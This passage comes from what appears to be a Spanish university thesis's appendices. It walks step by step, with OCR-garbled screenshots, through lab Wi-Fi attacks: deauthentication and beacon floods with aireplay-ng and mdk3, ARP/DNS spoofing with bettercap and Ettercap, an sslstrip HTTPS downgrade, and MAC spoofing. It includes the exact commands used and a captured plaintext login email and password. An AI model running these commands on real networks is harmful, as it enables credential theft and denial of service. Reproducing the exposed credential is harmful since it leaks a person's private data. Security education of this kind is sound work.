Para implementar este ataque, se utiliza la herramienta “airodump-ng” para escanear
las redes de 5GHz con la respectiva interfaz de red como se observa en la Figura 269, tal
como se ilustra en la Figura 270 se encuentran las redes que soportan la frecuencia de 5GHz
para este caso se tiene una red configurada con WPA3, autenticacion SAE y el canal de
frecuencia en el que esta trabajando.
Figura 269

Herramienta airodump-ng

Jhome/cristian

a wlanoj]

Figura 270

Red con WPA3

CH 126 ][ Elapsed: 24

ENC CIPHER AUTH

PSK NETLIFE-VLTCEJA

STATION PWR Rate Lost Frames Notes Probes

Una vez encontrada la red que sera la atacada se procede a aumentar opciones como
lo es el canal el SSID y se guarda un archivo con el formato pcap con el nombre wpas3 tal
como se observa en la Figura 271. Una vez con estas opciones se obtiene més informacion
como lo es las direcciones MAC de los dispositivos vinculados a ese AP como se observa en
la Figura 272. Con la direccion MAC del dispositivo se procede hacer uso de la herramienta
“aireplay-ng” para enviar tramas de desautenticacion hacia el dispositivo y asi tenga que
volver autenticarse el dispositivo tal como se ilustra en la Figura 273, provocando la

desautenticacion del dispositivo.
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Figura 271

Escaneo de red

/home/cristian

a 149 SIS_CH_ 56 pcap wlana]]

Figura 272

Auditoria de red

ENC CIPHER AUTH

1,PABLO TUAPANT.

Figura 273

Envio de tramas para desautenticacion

/home/cristian
il
channel 149

DeAuth
Defuth
DeAuth (
DeAuth
DefAuth
DeAuth
DeAuth
Defuth
DeAuth

S I N

Otra manera de realizar esto es con la herramienta mdk3 para la desautenticacién del
cliente inaldmbrico, siendo lo primero tener la tarjeta de red inaldmbrica en modo monitor
como se observa en la Figura 274.

Figura 274

Tarjeta de red modo monitor

UP, BROADCAST , RUNNING,MULT
= FE-E@- —
bytes 7187

dropbed @ frame @
bytes @

dropped @ o 0 arrier @ collisions @
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De igual manera se hace el uso de las herramientas aircrack-ng como se observa en la
Figura 275 para lograr descubrir las redes inalambricas en el area de la tarjeta de red
inalambrica, ademas de poder especificar el canal inalambrico para reducir significativamente
las redes encontradas como se ilustra en la Figura 276.
Figura 275

Airodump-ng

Jhome/cristian

wlanimon -c 11]]

Figura 276

Redes disponibles en el canal 11

ENC CIPHER AUTH ESSID
PROSANTI_1
Flia Le

PLUS_RED_HOG
BOUTIQUE_2

Una vez que encontramos la red objetivo es necesario observar la direccion MAC
asociada y apuntarla, terminando el proceso se procede a realizar nuevamente la auditoria con
la direccion MAC del AP para observar todos los dispositivos conectados a ese AP tal como
se observa en la Figura 277.

Figura 277
Dispositivos inalambricos conectados al AP
CH 11 1[ Elapsed: 18 s 1[
BSSID PWR RXQ Beacons it/ ( MB ENC CIPHER AUTH ESSID

BO:A7:B9:FC:C4:F3 -30 100 161 7 0 360 WPA2 CCMP  PSK Prueba.WPA3-2.4GHz

BSSID STATION ost Frames Notes Probes

BO:A7:BO9:FC:C4:F3  1A:E 0:C4:56:1D 34 48 P
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Después se abre una nueva ventana de terminal para crear un archivo con el nombre
black.txt tal como se observa en la Figura 278 lo siguiente es pegar la direccion MAC del
dispositivo que se desea bloquear y se procede a guardar el editor de texto como se observa
en la Figura 279. Ahora, se procede a ejecutar MDK3 contra la red de destino ejecutando el
siguiente comando “mdk3 wlanlmon d -c 11 -b” con la ruta del archivo de texto que
acabamos de crear que contiene las direcciones MAC que deseamos interferir como se ilustra
en la Figura 280.

Figura 278

Creacion de la lista negra

— |

black.txt]]

Figura 279

MAC para bloqueo

GNU nano 7.2

1AIB3:4B:C4:56:1D

Figura 280

Ataque de desautenticacion con mdk3

Jhome/cristian
wlanlmon d -c¢ 11 -b fhome/cristian/black.txt

Periodically re-reading blacklist/whitelist every 3 seconds

Al momento de realizar el ataque el dispositivo conectado con la direccion MAC
colocado en la lista negra en el bloc de notas no tendré ningun tipo de conexidn apareciendo
un mensaje similar al que se observa en la Figura 281, realizado por la desasociacion y

desautenticacion al dispositivo.
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Figura 281

Dispositivo afectado

Fall la conexion

Contrasenia incorrecta para "Pruelba WPA3-2HGHz"

AcepTar
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ANEXO 7
Ataque de Inyeccion y Manipulacion de Tréafico
Primero se utiliza la herramienta bettercap capaz de escanear redes inalambricas y
desautenticarlas permitiendo inyeccion de datos manipulando la informacion proveniente de

los clientes, lo primero es iniciar bettercap como se ilustra en la Figura 282.

Figura 282

Bettercap

/var /v /html

bettercap v2.32.0 (built for linux amd64 with gol. ) [type "help' for a list of commands]

> 192.168.9.127 NN 16] [sys.log] [@f] gateway monitor started
> 192.168.9.127 B I

Con el comando “wifi.show” es posible ver todas las redes disponibles al alcance de

la tarjeta de red como se ilustra en la Figura 283. Con el comando “net.probe on” se realiza la
busqueda de hosts en la red, con la ayuda de “ticker on” se puede tener una tabla de los hosts

de una manera mas ordenada y especifica como se ilustra en la Figura 284.

Figura 283

Redes disponibles
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Figura 284

Hosts disponibles

Tek COMPUTER INC
k Corporation L1m1T9d

Samsung Electronics Co.,Ltd

mmunications Inc
tronics Co.,Ltd

=w] endpoint
.new] e dpalnT 192.168.9.237 d ) g g C f
: t 192.168.9.141 d as 44:d4:e@:3e:le:c9 ( Mobile Communications Inc).
192 168. 9 104 d d2:73:fa:59:3f:fb

Ahora se aplica el comando “set arp.spoof targets IP” especificando la direccion IP
del cliente a atacar como se observa en la Figura 285, luego de este paso se activa el ARP
Spoofing con el comando “arp.spoof on”, luego se configura una direccion http o https para
que redirija cuando el cliente acceda a ella como se observa en la Figura 286 con el comando
“set dns.spoof.domains ubuntu.com”, con el comando “set dns.spoof.address [P’ se logra
redirigir a la pagina deseada tal como lo ilustra la Figura 287, con “dns.spoof on” empieza el

ataque como se ilustra en la Figura 288.

Figura 285

Obijetivo para el ARP Spoofing

92.168.9.182

92.168.9.102]

Figura 286

Pagina de redireccionamiento

[14:54:13] [
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Figura 287

DNS Spoofing

ERS USSP » sct dns.spoof.address 192.168.9.182

> 192.168.9.127 EEEET-REEREA[ileh giTi i) f 139 192.158.9.1@2.

Figura 288

Activar el DNS

> 192.168.9.127 BN ERA L)
> 192.168.9.127 EIUER LY |

Finalmente, como se observa en la Figura 289 se puede observar el ataque dns en

accion redirigiendo la pagina de ubuntu.com hacia la direccion del servidor apache creado
para el ataque, en la Figura 290 se puede observar cunado el cliente trata de conectarse a la
pagina web es redirigido a la pagina web creada en donde es necesario indicar el usuario y

contrasefia, en donde es posible interceptar estas credenciales.

Figura 289

Ataque

> 192.168.9.127 3
[15:21:42] [ .log] [ 1 sending spoofed DNS reply for (—192.168.9.127) to 192.168.9.141 : &
4:d4:e@:3e:le:c9 (Sony Mobile Communications Inc).

> 192.168.9.127 B

Figura 290

Redireccion de pagina

F 79% W 18:51
{3 A ubuntu.com Y @
() :37 """"

islwe

Ingreso de usuario

Aecede
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ANEXO 8
Ataque de Inundacién de Tramas beacon/probe
Primero instalamos la herramienta MDK3 en el caso de que Kali Linux no lo tenga ya

instalado previamente, esto con la ayuda del comando “apt install mdk3” como se ilustra en

la Figura 291.

Figura 291

Instalacion mdk3

/home/cristian

install mdk3
Leyendo lista de paquetes ... Hecho

Creando arbol de dependencias ... Hecho
Leyendo la informacion de estado ... Hecho
Los paquetes indicados a continuacion se instalaron de forma automatica y ya no son necesarios.

Con el comando “mdk3 --help” se obtiene informacion sobre los diferentes modos de
prueba que se puede realizar con esta herramienta como se observa en la Figura 292, de igual
manera con el comando “mdk3 --help b” para conocer los parametros sobre los ataques de
inundacion por beacons como se observa en la Figura 293.

Figura 292

Mdk3 opciones

/home/cristian

wh, well, wha
\ j of , using the os
And with lots of help from the g
, Ace,

rt, sorbo, Andy Green, bahath

MDK is a proof-of-concept tool to exploit common IEEE 8
IMPORTANT: It is you sponsibility ke sure you h
network owner befo ning MDK

This code is licenced under the GPLv2

MDK L -
mdk3 <inte <test_mode> [test_options]

Try -fullhelp for all test options
Try = <test_mode> for info about one test only

Flood Mode
con f : 1t clients.
can somet ra : 1 anners a aven drivers!




Figura 293
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Mdk3 opciones para inundacion de beacon

@ /home/cristian

b

Beacon Flood Mode

Sends beacon frames to show fake APs at clients.

This can sometimes crash network scanners and even drivers!
OPTIONS:

-n

<ssid>

Use SSID <ssid> instead of randomly generated ones

<filename>

Read SSIDs from file

<filename>

Read MACs and SSIDs from file. See example file at /usr/share/doc/mdk3/fakeap-example.txt

Show station as Ad-Hoc

Set WEP bit (Generates encrypted networks)

Show station as 54 Mbit

Show station using WPA TKIP encryption

Show station using WPA AES encryption

Use valid accesspoint MAC from OUI database

Hop to channel where AP is spoofed

This makes the test more effective against some devices/drivers
But it reduces packet rate due to channel hopping.

<chan>

Fake an AP on channel <chan>. If you want your card to hop on
this channel, you have to set -h option, too!

<pps>

Set speed in packets per second (Default: 50)

Seguido de la instalacion se realiza el procedimiento para convertir a la tarjeta

inalambrica en modo monitor como se observa en la Figura 294, lo siguiente es utilizar el

script “mdk3 wlan0 b -s 1000” como se observa en la Figura 295 esto para utilizar la interfaz

inalambrica seleccionada para ejecutar la inundacion, esto realiza que se produzcan redes

inalambricas aleatorias con todo tipo de nombres o algin SSID en especifico lo que produce

al usuario un atacante de denegacion de servicio.

Figura 294

Tarjeta de red en modo monitor

start wlan®

[sudo] contrasena para cristian:

Found

2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
526 NetworkManager
1047 wpa_supplicant

PHY

phyo

Interface Driver Chipset

wlan@ rt18192eu TP-Link TL-WN821N v5/v6 [RTL8192EU]
(monitor mode enabled)




Figura 295

Herramienta mdk3 con inundacion de 1000 tramas beacon

wlan®

Con esto realizado la herramienta mdk3 comienza a propagar redes aleatorias con

-
- }

L

1000]
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diferentes tipos de nombres lo que causa denegacion de servicio para el usuario inalambrico

debido a que ocupa demasiado tiempo hasta que pueda encontrar la red verdadera y de esta

manera logre conectarse tal como se observa en la Figura 296, Figura 297 y Figura 298.

Figura 296

Redes aleatorias creadas con mdk3
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Figura 297

Redes aleatorias creadas con mdk3

Figura 298

Redes aleatorias creadas con mdk3
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ANEXO 9
Ataque de Captura y Reenvio
Para la realizacion de esta vulnerabilidad se utiliza la herramienta Ettercap que viene
por defecto en Kali, pero se puede instalar una version grafica para realizar el ataque con el
comando “apt install ettercap-graphical” tal como se ilustra en la Figura 299.
Figura 299

Ettercap

Ettercap

Setup

Sniffing at startup

Primary Interface  wlanO
Bridged sniffing

Bridged Interface

El primer paso es seleccionar la interfaz de red con la que se va a trabajar siendo la
interfaz inaldmbrica wlanO iniciando la herramienta como se ilustra en la Figura 300, seguido
de esto se debe seleccionar la pestafia de hosts como se observa en la Figura 301 por lo que es
posible enlistar los diferentes hosts conectados a la red como se ilustra en la Figura 302.
Figura 300

Inicio de sniffing

Listening on:
wian0 - :
172.20.15

SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins
42 protocol dissectors
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Figura 301

Hosts disponibles en la red

Hosts list

Enable IPv6 Scan
Scan for hosts
Load hosts from file ...

Save hosts tofile ...

Figura 302

Hosts y direcciones MAC

IPAddress = MACAddress Description
192.168.9.1  BO:A7:B9:FC:C4:F4
192.168.9.120 1A:83:40:C4:56:1D

Delete Host

19 55.255.255.0
fe80::d881:26e1:1b6b:b9cb/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 0 EGID O...

34 plugins

42 protocol dissectors

57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint

Lua: no script: re specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...
8.9.120 added to TARGET1
.Tadded to TARGET2

Para la realizacion de suplantacion de identidad ARP es necesario conectarse a la red
que desea atacar e ir al menu de MITM para seleccionar el ataque como se observa en la
Figura 303. Si se ataca a una red encriptada WEP, WPA o WPAZ2, necesitara saber la
contrasefia. Esto se debe a que estamos atacando la red internamente, por lo que debemos

poder ver informacion sobre los otros hosts en la red y los datos que pasan dentro de ella.



226

Figura 303

Seleccidn de objetivos

Ettercap

m Q =

Host List x Connections x Targets x

Target 1 Target 2
172.20.149.28

DHCP spoofing...
Stop MITM attack(s)

SSL Intercept

Al desplegar el ataque se debe seleccionar la opcidn de conexiones remotas como se
observa en la Figura 304, al seleccionar los objetivos del ataque se debe escoger al primer
objetivo que seré la victima ademas del segundo objetivo que seré el gateway de la red como

se ilustra en la Figura 305.

Figura 304
Ataque de ARP
Cancel MITM Attack: ARP Poisoning
Optional parameters
9 # Sniff remote connections.
' Only poison one-way.
Figura 305

Victimas del ARP

ARP poisoning victims:

201A:83:40:C4:56:1D

GROUP 2:192.168.9.1B0O:A7:B9:FC:C4:F4
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Ahora, para tratar de interceptar una contrasefia el usuario debe entrar a un sitio web
no seguro. En el dispositivo de destino ir a testphp.vulnweb.com. Una vez que se carga, vera
una pantalla de inicio de sesion en la que puede ingresar un nombre de usuario y una
contrasefia falsos. Ingrese un nombre de usuario y contrasefia, luego presione "Enviar". Si
Ettercap tiene éxito, deberia ver el nombre de usuario y la contrasefia que escribio en la
pantalla del atacante. En este resultado anterior, podemos ver que Ettercap ARP enveneno
con éxito al objetivo e interceptd una solicitud de inicio de sesion HTTP que el objetivo
estaba enviando a un sitio web no seguro como se ilustra en la Figura 306.

Figura 306

Obtencidn de credenciales

Host List x

IPAddress  MACAddress Description
192.168.9.1  BO:AT:B9:FC:C4:
192.168.9.120 1A:83:40:

Delete Host

s P G LR s 1 e e i

34 plugins
42 protocol dissectors

fingerprint
print

Scanning the whole ne

2h d to the hosts list...
168.9.120 added to TARGET1

ARP poisoning victims:

GROUP 1:192.168.9.120 1A:83:40:C4:56:1D

Il the hosts in the list)
st PASS: test INFO: http://testphp.vulnweb.com/login.php
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ANEXO 10
Ataque de Sniffer de Paquetes
Lo primero que se va a realizar es indicar la tabla ARP en la maquina victima como se
ilustra en la Figura 307, e indicar la direccion IP de la maquina atacante para realizar el
ataque de hombre en el medio como se observa en la Figura 308.
Figura 307

Tabla ARP

Tipo

d4 1b-fb
- ++ ++ ++ ++ ++

Figura 308

Direcciones IP

/home/cristian

T~qunun1nn 1 (Ethernet)
) 85 (11.9 KiB)
dropped 1 rruns @  frame @
bytes 7548 .3 KiB)
erruns @ carrier @ collisions @

mtu 63536

255.0.90.0
scopeid @x1

wlan@:

(14.5 KiB)
rruns @ frame @
) 4778 (4.6 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @
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En la maquina atacante se hace uso de la herramienta Ettercap, con el comando
“Ettercap -Tq -M arp:remote -i wlanO -S /IP-gateway// /IP-victima//”’, donde tq es para
obtener solo texto e informacién como credenciales nada de datos innecesarios, -M para
seleccionar el tipo de ataque que sera envenenamiento de ARP, -i la interfaz, -S para no
falsificar ningan certificado SSL, como se observa en la Figura 309. Al ejecutar el ataque las
direcciones MAC cambian en la tabla ARP al principio se tenia las direcciones MAC
normales y después la direccion MAC cambia a la misma de la maquina atacante como se
ilustra en la Figura 310. En la Figura 311 se instala una herramienta extra para poder realizar
este ataque.

Figura 309

Herramienta ettercap

/home/cristian
-Tg -M arp:remote -i wlan® -5 /192.168.9.1// /192.168.9.1

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
wlan@ —

Privileges dropped to EUID 65534 EGID 65534 ...

34 plugins

42 protocol dissectors

s monitored

endor fingerprint

fingerprint

re specified, not starting up!

Scanning for merged targets (2 hosts) ...

P —_—--- ]| 100.00 %

2 hosts added to the hosts list ...

ARP poisoning victims:

GROUP 1 : 192.168.9.1 BO:AT:B9:FC:C4:F4
GROUP 2 : 192.168.9.162 B:27:41:CA:66

Starting Unified sniffi

Text only Interface ac
Hit 'h' for inline help
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Figura 310

MAC cambiadas

Figura 311

Mitmproxy

/home/cristian
install mitmproxy

Dentro de la herramienta recién instalada existe una opcion llamada “mitmdump” y
con la ayuda del siguiente comando “mitmdump -s /directorio-del-archivo.py -m transparent”
tal como se ilustra en la Figura 312, donde -s es la ubicacion del archivo sslstrip y -m es el
proxy transparente que no cambia ninguna configuracion de la computadora del usuario.
Figura 312

Mitmdump

/home/cristian
-5 fhome/cristian/Escritorio/sslstrip.py -n

transparent proxy listening at +*:8080.
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Ahora en otra terminal se configura una nueva regla utilizando iptables para redirigir
cualquier tipo de trafico desde el puerto 80 al puerto 8080 para poder leer todas las
credenciales de inicio de sesion tal como se ilustra en la Figura 313. Finalizado esto vamos a
la maquina victima para probar con 3 navegadores diferentes como lo son Google Chrome,
Microsoft Edge y Internet Explorer. En el caso de Chrome paginas grandes como Facebook,
Microsoft o Google deberian degradarse a http por el envenenamiento, pero no funcionara
debido a que utilizan el protocolo HSTS que obliga a los sitios a conectarse Ginicamente por
https. En Chrome como se observa en la Figura 314 sigue teniendo el certificado, en
Microsoft como se ilustra en la Figura 315 de igual manera y en Explorer como se observa en
la Figura 316 ni siquiera abre la pagina aungue esto es mejor debido a que Explorer no es
seguro y tiene demasiadas vulnerabilidades.

Figura 313

Regla de iptables

/home/cristian

-t mat -4 PREROUTING -p tcp -—destination-port 8@ -7 REDIRECT ——to

Figura 314

Google Chrome

0 Facebook - Iniciz sesién o regist X +

&« X B facebook.com

M Cmail DB
facebook.com x
@  Laconexion es segura »
& Datos de sitios y cookies »
£ Configuracién de sitios (£

facebook

Facebook te ayuda a comunicarte y
compartir con las personas que forman
parte de tu vida.

14 HTTP Strict-Transport-Security obliga a los sitios web a conectarse (inicamente por HTTPS
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Figura 315

Microsoft Edge

< G . https://www.facebook.com

los sitios web heredados
datos de exploracion.

La conexion es segura

Permisos para este sitio

Cookies (7 cookies en uso)

Configura la prevencion de rastreo para este sitio
(Equilibrado)

Rastreadores (0 bloqueadas)

facebook

Facebook te ayuda a comunicarte y
compartir con las personas que forman
parte de tu vida.

Figura 316

Internet Explorer

e & htips://support.microsoft.com,/article/160fad18-d581-4932-9ede- 1075c4713395

@ Mo se puede mostrar esta p... * || |

No se puede mostrar esta pagina.

*+ Asegurate de gue |a direccidn web https.//supportmicroscft.com sea corracta.
* Buscar este sitio en Bing

* Actualizar |a pagina

= Mas informacion

Solucionar problemas de conexion
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Las paginas por consiguiente seran degradadas a http como se observa en la Figura
317 la pagina aparece como no segura por lo que es posible mediante un sniffer de paquetes
tomar estos datos los cuales apareceran como texto plano. Al momento de que la victima
ingresa las credenciales en la pagina degradada a http es posible observar tanto en la
herramienta como se observa en la Figura 318, asi como en wireshark que es un sniffer de
paquetes como se ilustra en la Figura 319 es posible observar el protocolo HTTP, donde
finalmente en la Figura 320 es posible observar las credenciales obtenidas en texto plano.
Figura 317

Pagina web no segura

= G A Noseguro | repositorio.utn.edu.ec/password-login

Buscar en DSpace

“l“J Repositorio Digital
acrenitapa | Universidad Técnica del Norte

T

.f.._

Entrar en DSpace

¢Usuario nuevo? haga clic para registrarse.

Introduzca su direccion de correo electrdnico o nombre de usuario y su contrasefia:

Direccion de correo cshernandezr@utn.edu.ec
electronico:
Contrasefa: ‘ P oy

¢ Olvidd su contrasefia?

Figura 318

Credenciales
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Figura 319

Wireshark sniffer de paquetes

Archivo  Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda

ADAOG R BR@ ac»n«>MHE ool

A [Ip.addr ==192.168.9.162

Destination Protocol  Length Info

6734 44.242980523 192.168.9.162 192.168.9.1 ? 82 Standard query Bxdbe2 A repositorio.utn.edu.ec
6735 44.243122397 192.168.9.162 192.168.9.1 : 75 Standard query BX61cc A www.gstatic.com
6736 44.243237150 192.168.9.162 192.168.9.1 75 Standard query Bxed33 HTTPS www.gstatic.com

6742 44.250997202 192.168.9.1 E 98 Standard query response 9xe869 A repositorio.utn.edu.ec A 201.159.223.64
251123120 192.168.9. 1210 POST /password-10gin HTTP/1.1 (application/x-www-form-urlencoded)
251187638 g -168.9. Standard query response Gxdbe2 A repositorio.utn.edu.ec A 201.159.223.64
251368071 8.9.1 i X Standard query response 9xG1CC A www.gstatic.com A 142.250.78.99
.254713295 59. 9. 54 80 - 54450 [ACK] Seq=1 Ack=1157 Win=64128 Len=0
.2554789260 7 Standard query B8x4929 A nav-edge.smartscreen.microsoft.com
255736653 68. Standard query Bx7ead HTTPS nav-edge.smartscreen.microsoft.com

259044167 192 Standard query 6x4929 A nav-edge.Smartscreen.microsoft.com

.259111026 192.168. 2.168.9. Standard query Bx7ead HTTPS nav-edge.smartscreen.microsoft.com

266729123  192.168. .9. Standard query response 0xed33 HTTPS www.gstatic.com SOA nsi.google.com

275434419 192 9 .9.162 Standard query response 0xed33 HTTPS www.gstatic.com SOA nsi.google.com

283163954 192 .9. Standard query response Ox7ea4 HTTPS nav-edge.smartscreen.microsoft.com CNAME tm-prod-wd-csp-edge.trafficmanager.net CNAME

+ Transmi Co Protocol, t: 54450, Port eq: 1, Ack: 1, Len
[!iypertext Transfer Protocol _ _________ __ _________________________________________________________ |
- HTML Fo L Encod t

» Form

» Form

» Form item

Figura 320

Texto plano

Frame 6743: 1210 bytes on wire (96¢ ytes captured (9680 bits) on interface etho,
Ethernet II, Src: PcsCompu_4] ] ? 1:ca:66), Dst: Alfa_98:f6:e cB:ca:98:fT6:e
Internet Protocol Version 4, Src: 192.168.9.162, Dst: 281.159.223.64
Transmission Control Protocol, Src Port: 5 Port: ¢ Seq: 1, Ack: 1, Len: 1156
Hypertext Transfer Protocol
HTML Form URL Encoded: applicati -www-form-urlencoded
+ Form item: "login_email" = "cshernandezr@utn.edu.ec"

Key: login_email

Value: cshernandezr@utn.edu.ec
+ Form item: "login_password" = "Sebastianshr9
Key: login_password
Value: Sebastianshr9
+ Form item: "login_submit" = "Entrar "
Key: login_submit
Value: Entrar




ANEXO 11

Ataque de Suplantacion MAC
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Primero se debe tener en cuenta la direccion MAC objetivo a cuél se le desea

suplantar en la red inalambrica esto mediante el uso del comando “ifconfig” para conocer las

interfaces de red como se observa en la Figura 321, una vez identificado el dispositivo se hara

uso de una herramienta de Kali llamada “macchanger” mediante el comando “macchanger -S

wlan0” se puede verificar las direcciones MAC permanentes de las interfaces tal como se

observa en la Figura 322.

Figura 321

Informacién sobre interfaces de red

/home/cristian

RUNNING
sk 2

4 MiB)
@ collisions @

errors @ dropped 2

20 b

Figura 322

Direcciones MAC de las interfaces de red

J/home/cristian

id @x@<global>

Current MAC: fdy :86:cb:3f (unknown)
Permanent MAC: 4! - 3T (unknown)
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Colocando una interfaz de red en modo monitor como se observa en la Figura 323 se
puede ver las redes disponibles y de esta manera copiar la direccion MAC del AP como se
observa en la Figura 324 y de esta manera copiar la direccion MAC de un dispositivo victima

y causar un ataque de hombre en el medio como se ilustra en la Figura 325.

Figura 323

Modo monitor wlanl

/home/cristian
start wlanl

Found 2 proce that could cause trouble.

Kill them using 'airmon-ng c kill' before putting

the card in monitor mode, the) L1 interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
846 MNetworkManager
947 wpa_supplica

Interface Driver Chipset
wlan® iwlwifi Intel Corporation Wireless 7265 (rev 59)

j
wlanl ath9k_htc ] omm Atheros Communications 882.11n
( 11 monitor v enabled for [ph a { v lanimon )

Figura 324

Filtrado de dispositivo con la MAC del AP

/home/cristian
wlanimon -c 11 --bssid B@:A7:B9:FC:C4:F3j

Figura 325
Dispositivos asociados al AP
CH 11 ][ Elapsed: 3 B8-31 19:11

BSS5ID i} Beacons #Data, #/ C MEB ENC CIPHER AUTH ES5ID

B@:AT7:BO: o 3 24 @ 38 9 @ 360 WPAZ2 CCMP PSK Prueba.WP

BSS5ID ost Frames MNotes Probes

B
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Con ¢l comando “macchanger -r wlan0” es posible generar una direccion MAC
aleatoria, con el comando “macchanger -m 00:11:22:33:44:55 wlan0” se crea una direccion
MAC personalizada como se ilustra en la Figura 326, en este caso la direccion MAC es
cambiada por una de un cliente victima como se puede observar en la Figura 327 y con el
comando “macchanger -p wlan0” se regresa a la direccion MAC por defecto como se observa

en la Figura 328.

Figura 326

Cambio de direccion MAC

Jhome/cristian
C:5C:F9:CA:C7:B@ wlan@
Current MAC: 7e:24:99:bb: 7 (unknown)

Permanent MAC: & 2c:86: (unknown )
New MAC: o :ca:c7:b8@ (unknown)

Figura 327

Verificacion de MAC

wWland: 4@99<lUP, BROADCAST ,MULTICAST> mtu 15080
: " 9c:5c:f9:ca:c7:b@ txqgue n 1888 (Ethernet)
: (1.3 GiB)
I frame @
by 71261856 (67.9 MiB)
dropped @ overruns @ carrier @ collisions @

Figura 328

Vuelta a la direccion MAC original

Jhome/cristian

Current MAC: C - 8 (unknown )
Permanent MAC: 44: :86: 3f (unknown)




ANEXO 12
Cisco Catalyst 9800-40 Wireless Controller
La informacion detallada sobre el dispositivo se lo puede encontrar en la pagina
principal de CISCO mediante el siguiente enlace:

https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9800-series-wireless-

controllers/nb-06-cat9800-wirel-cont-data-sheet-ctp-en.html

O el datasheet en formato PDF a través del siguiente enlace:

https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9800-series-wireless-

controllers/nb-06-cat9800-wirel-cont-data-sheet-ctp-en.pdf

ANEXO 13
Cisco C9115axi-A
La informacion detallada sobre el dispositivo se lo puede encontrar en la pagina
principal de CISCO mediante el siguiente enlace:

https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9100ax-access-

points/datasheet-c78-741988.html

O el datasheet en formato PDF través del siguiente enlace:

https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9100ax-access-

points/datasheet-c78-741988.pdf
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https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9800-series-wireless-controllers/nb-06-cat9800-wirel-cont-data-sheet-ctp-en.html
https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9800-series-wireless-controllers/nb-06-cat9800-wirel-cont-data-sheet-ctp-en.html
https://www.cisco.com/c/en/us/products/collateral/wireless/catalyst-9800-series-wireless-controllers/nb-06-cat9800-wirel-cont-data-sheet-ctp-en.pdf
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